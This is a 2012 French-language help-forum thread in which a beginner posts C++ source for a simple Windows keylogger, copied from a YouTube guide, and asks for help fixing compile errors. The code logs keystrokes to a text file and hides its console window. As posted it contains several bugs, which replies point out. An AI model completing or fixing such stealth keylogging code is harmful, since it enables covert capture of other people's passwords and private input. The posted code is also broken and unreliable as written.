Probleme keylogger dev c++

Fermé
yanjobin - 20 juil. 2012 à 08:30
 yanjobin - 20 juil. 2012 à 20:07
Bonjour,
je commence tout juste en programation, et je suis un guide sur youtube pour faire un keylogger tres simple, amsi meme avec le guide, je fait liogne par ligne ce quil dit, il a toujours plein derreure quand je compile

Voici les ligne de codes:

#include <iostream>
using namespace std;
#include <windows.h>
#include <Winuser.h>

int Save (int key_stroke, char *file);
void Stealth();

int main()
{
Stealth();
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save(i,*LOG.TXT*);
}
}
system ("PAUSE");
return 0;
}
/* ************************************** */
/* ************************************** */
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "[\n]");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose(OUTPUT_FILE);
return 0;
}
/* ************************************** */
/* ************************************** */
void Stealth()
{
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
showWindow(stealth,0)
}


Bon est ce que quelqu'un peut maider pour quil marche bien svvp? ce serait tres gentil merci!


A voir également:

2 réponses

Char Snipeur Messages postés 9813 Date d'inscription vendredi 23 avril 2004 Statut Contributeur Dernière intervention 3 octobre 2023 1 298
20 juil. 2012 à 10:14
pourquoi t'aider ? T'apprend rien de ce qu'on te dit !
erreur 1 : "char i" <->190
erreur 2 : *LOG.TXT*
https://forums.commentcamarche.net/forum/affich-25626950-probleme-avec-dev-c#p25630384
Corrige ton code on verra le reste après.
0
ouais je suis desoler, je pensais les avoir corriger, mais on dirait bien que jai oublier de sauvegarder apres les avoir corriger ;/
merci bien
0
Utilisateur anonyme
20 juil. 2012 à 19:41
Hello,

C'est bien pour un début, mais si tu hook pas le drivers du clavier ça sert pas beaucoup... :)
0
tu veut dire quoi par la ? :D
0
Utilisateur anonyme
20 juil. 2012 à 19:54
Filtrer les touches si tu veux...
0
d'accord, et comment on fait ca :P
0
Utilisateur anonyme
20 juil. 2012 à 19:57
On fait pas, surtout que c'est compliqué...
0
ok , mais pour mon keylogger tu peut maider svp? voici les erreures que jai ;/

C:\Users\****\Desktop\Keylog\BasicKeylog.cpp In function 'int main()':
17 -C:\Users\****\Desktop\Keylog\BasicKeylog.cpp name lookup of 'i' changed for new ISO 'for' scoping
15 - C:\Users\****\Desktop\Keylog\BasicKeylog.cpp using obsolete binding at 'i'
C:\Users\****\Desktop\Keylog\BasicKeylog.cpp In function 'void Stealth()':
62 - C:\Users\****\Desktop\Keylog\BasicKeylog.cpp 'showWindow' undeclared (first use this function)
(Each undeclared identifier is reported only once for each function it appears in.)

merci
0